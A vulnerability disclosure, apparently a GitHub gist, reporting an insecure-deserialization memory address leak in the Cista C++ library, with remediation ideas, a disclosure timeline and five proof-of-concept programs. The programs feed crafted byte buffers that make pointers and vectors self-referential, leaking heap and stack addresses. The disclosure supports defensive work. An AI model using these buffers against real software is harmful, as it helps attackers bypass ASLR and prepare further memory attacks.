

Instantly share code, notes, and snippets.

TrebledJ / [cvd_cista_20250827.md](#) Secret



Last active 7 months ago

[Code](#) [Revisions](#) 7

[cvd_cista_20250827.md](#)

Insecure Deserialization - Memory Address Leak - Cista v0.15

Description

An issue was discovered in Cista v0.15 and below. Insecure deserialization of untrusted input under certain conditions may lead to address leakage. This is due to insufficient checks with `cista::raw` serializers.

Examples

Minimal reproducible examples are uploaded in extra files below. You can consider adding these as test cases to bolster the existing cases in cista. These tests aren't exhaustive, e.g. `data::string`, `data::hash*` structures aren't covered; but they provide a starting point.

Let's walk through `example_addrleak1.cpp` as an example. In this scenario, we (de)serialize the following struct `A`, and assume the deserialized data is seen by the attacker (e.g. rendered on UI, network request, log info).

```
struct Number {
    uint64_t x;
};

struct A {
    cista::indexed<Number> a;
```

```
data::ptr<Number> pa;  
};
```

Running the file produces the following output:

```
# g++ main.cpp -g && ./a.out  
a: 42  
pa: 42  
out:  
0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,  
in:  
0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
a: 42  
pa: 0x5580ba678718
```

(Compiled with gcc version 13.3.0 (Ubuntu 13.3.0-6ubuntu2~24.04), running on a Docker ubuntu 24.04 image.)

Here, 0x5580ba678718 is a heap address. This allows an attacker to bypass protections such as ASLR and PIE, opening the door to further attacks. By changing the offset from -8 to 0, the ptr stores its own address. When printing, it dereferences itself to print its own address.

It is also possible to leak stack addresses, if the buffer was declared on the stack. See `example_addrleak_stack5.cpp` for an example.

Remediations

1. Keep a hashmap of "seen" addresses, mapping addresses to a type id/hash. This can be used to multiple effects: 1) it can be used to prevent `unique_ptrs` from referencing the same memory twice. 2) it can be used to catch type confusion (each region should only be interpreted as a single type).
 - This strategy might be ineffective for containers, which span a range of bytes. For instance, a vector uses two u64s for its buffer, size, and capacity. Perhaps a specialized data structure is needed for a fast range insert/query?
2. Avoid self-referencing ptrs with offset=0.

More thought may be needed in handling this appropriately, but these are my two cents.

Disclosure Policy

When a vulnerability is discovered, the researcher (yours truly) will notify the project maintainers with details. A deadline is set for 45 days from the initial report (**Oct. 11**), after which details of the vulnerability will be shared in public with the software and defensive community, or sooner if a fix is released.

example_addrleak1.cpp

```
1 // Minimal Reproducible Example 1 - data::ptr points to self
2 #include <iostream>
3 #include <iomanip>
4 #include <string>
5 #include <sstream>
6 #include "cista.h"
7
8 namespace data = cista::raw;
9
10 struct Number {
11     uint64_t x;
12 };
13
14 struct A {
15     cista::indexed<Number> a;
16     data::ptr<Number> pa;
17 };
18
19 int main(int argc, char** argv) {
20     std::vector<unsigned char> buf;
21     {
22         A data;
23         data.a.x = 42;
24         data.pa = &data.a;
25
26         buf = cista::serialize(data);
27         std::cout << "a: " << data.a.x << std::endl;
28         std::cout << "pa: " << data.pa->x << std::endl;
29     }
30
31     std::cout << "out:\n";
32     for (int i = 0; i < buf.size(); ) {
33         for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
34             std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
35         }
36         std::cout << std::endl;
37     }
```

```

38     std::cout << std::dec;
39
40     // Assume we read bytes from some untrusted source.
41     // This modifies the pointer pa so that it points to itself and leaks its own address.
42     // Instead of pointing to 0xffff'ffff'ffff'fff8, we point to 0x00 -> i.e. offset=0.
43     buf = std::vector<unsigned char>{
44         0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
45     };
46
47     std::cout << "in:\n";
48     for (int i = 0; i < buf.size();) {
49         for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
50             std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
51         }
52         std::cout << std::endl;
53     }
54     std::cout << std::dec;
55
56     auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
57     if (!deserialized) {
58         std::cout << "failed to deserialize\n";
59         return 1;
60     }
61
62     std::cout << "a: " << deserialized->a.x << std::endl;
63     std::cout << "pa: " << "0x" << std::hex << deserialized->pa->x << std::endl;
64 }

```

[example_addrleak2.cpp](#)

```

1 // Minimal Reproducible Example 2 - data::ptr to arbitrary address within payload
2 #include <iostream>
3 #include <iomanip>
4 #include <string>
5 #include <sstream>
6 #include "cista.h"
7
8 namespace data = cista::raw;
9
10 struct Number {
11     uint64_t x;
12 };
13
14 struct A {
15     cista::indexed<Number> a;
16     data::indexed_vector<uint64_t> v;
17     data::ptr<Number> pa;
18 };
19

```

```

20 int main(int argc, char** argv) {
21     std::vector<unsigned char> buf;
22     {
23         A data;
24         data.a.x = 42;
25         data.v = data::indexed_vector<uint64_t>{1, 2, 3};
26         data.pa = &data.a;
27
28         buf = cista::serialize(data);
29         std::cout << "a: " << data.a.x << std::endl;
30         std::cout << "v.size(): " << data.v.size() << std::endl;
31         std::cout << "pa: " << data.pa->x << std::endl;
32     }
33
34     for (int i = 0; i < buf.size(); i++) {
35         for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
36             std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_t)buf[i] << " ";
37         }
38         std::cout << std::endl;
39     }
40     std::cout << std::dec;
41
42     buf = std::vector<unsigned char>{
43         0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
44         0x03, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
45         0xe8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
46         0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
47     };
48
49     auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
50     if (!deserialized) {
51         std::cout << "failed to deserialize\n";
52         return 1;
53     }
54
55     std::cout << "a: " << deserialized->a.x << std::endl;
56     std::cout << "v.size(): " << deserialized->v.size() << std::endl;
57     std::cout << "pa: " << "0x" << std::hex << deserialized->pa->x << std::endl;
58 }

```

example_addrleak3.cpp

```

1 // Minimal Reproducible Example 3 - data::vector to self
2 #include <iostream>
3 #include <iomanip>
4 #include <string>
5 #include <sstream>
6 #include "cista.h"
7

```

```

 8 namespace data = cista::raw;
 9
10 struct A {
11     data::vector<uint64_t> v;
12 };
13
14 int main(int argc, char** argv) {
15     std::vector<unsigned char> buf;
16     {
17         A data;
18         data.v = data::vector<uint64_t>{1, 2, 3};
19
20         buf = cista::serialize<cista::mode::DEEP_CHECK | cista::mode::WITH_INTEGRITY>(data);
21         std::cout << "v.size(): " << data.v.size() << std::endl;
22         for (int i = 0; i < data.v.size(); i++)
23             std::cout << "v[" << i << "]: " << data.v[i] << std::endl;
24     }
25
26     for (int i = 0; i < buf.size(); i++) {
27         for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
28             std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_t)buf[i * 16 + j] << " ";
29         }
30         std::cout << std::endl;
31     }
32     std::cout << std::dec;
33
34     buf = std::vector<unsigned char>{
35         // 0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
36         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
37         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
38         0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00
39     };
40
41     auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
42     if (!deserialized) {
43         std::cout << "failed to deserialize\n";
44         return 1;
45     }
46
47     std::cout << "v.size(): " << deserialized->v.size() << std::endl;
48     std::cout << std::hex;
49     for (int i = 0; i < deserialized->v.size(); i++)
50         std::cout << "v[" << i << "]: 0x" << deserialized->v[i] << std::endl;
51 }

```

 [example_addrleak4.cpp](#)

```

1 // Minimal Reproducible Example 4 - unique_ptr to arbitrary address within payload
2 #include <iostream>

```

```
3 #include <iomanip>
4 #include <string>
5 #include <sstream>
6 #include "cista.h"
7
8 namespace data = cista::raw;
9
10 struct Number {
11     uint64_t x;
12 };
13
14 struct A {
15     data::indexed_vector<uint64_t> v;
16     data::unique_ptr<Number> pa;
17 };
18
19 int main(int argc, char** argv) {
20     std::vector<unsigned char> buf;
21     {
22         A data;
23         data.v = data::indexed_vector<uint64_t>{1, 2, 3};
24         data.pa = data::make_unique<Number>(Number{0x42});
25
26         buf = cista::serialize(data);
27         std::cout << "v.size(): " << data.v.size() << std::endl;
28         std::cout << "pa: " << data.pa->x << std::endl;
29     }
30
31     for (int i = 0; i < buf.size(); i) {
32         for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
33             std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
34         }
35         std::cout << std::endl;
36     }
37     std::cout << std::dec;
38
39     buf = std::vector<unsigned char>{
40         0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
41         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
42         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
43         0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
44         0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
45     };
46
47     auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(buf);
48     if (!deserialized) {
49         std::cout << "failed to deserialize\n";
50         return 1;
51     }
```

```

52
53     std::cout << "v.size(): " << deserialized->v.size() << std::endl;
54     std::cout << "pa: " << "0x" << std::hex << deserialized->pa->x << std::endl;
55 }

```

example_addrleak_stack5.cpp

```

1 // Minimal Reproducible Example 5 - buffer declared on stack
2 #include <iostream>
3 #include <iomanip>
4 #include <string>
5 #include <sstream>
6 #include "cista.h"
7
8 namespace data = cista::raw;
9
10 struct A {
11     data::vector<uint64_t> v;
12 };
13
14 int main(int argc, char** argv) {
15     std::vector<unsigned char> buf;
16     {
17         A data;
18         data.v = data::vector<uint64_t>{1, 2, 3};
19
20         buf = cista::serialize<cista::mode::DEEP_CHECK | cista::mode::WITH_INTEGRITY>(data
21         std::cout << "v.size(): " << data.v.size() << std::endl;
22         for (int i = 0; i < data.v.size(); i++)
23             std::cout << "v[" << i << "]: " << data.v[i] << std::endl;
24     }
25
26     for (int i = 0; i < buf.size(); i++) {
27         for (int j = 0; j < 16 && i < buf.size(); i++, j++) {
28             std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (uint16_
29         }
30         std::cout << std::endl;
31     }
32     std::cout << std::dec;
33
34     unsigned char stack_buf[] = {
35         // 0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x0
36         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
37         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
38         0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
39     };
40
41     auto deserialized = cista::deserialize<A, cista::mode::DEEP_CHECK>(stack_buf, stack_bu
42     if (!deserialized) {

```

```
43     std::cout << "failed to deserialize\n";
44     return 1;
45 }
46
47     std::cout << "v.size(): " << deserialized->v.size() << std::endl;
48     std::cout << std::hex;
49     for (int i = 0; i < deserialized->v.size(); i++)
50         std::cout << "v[" << i << "]: 0x" << deserialized->v[i] << std::endl;
51 }
```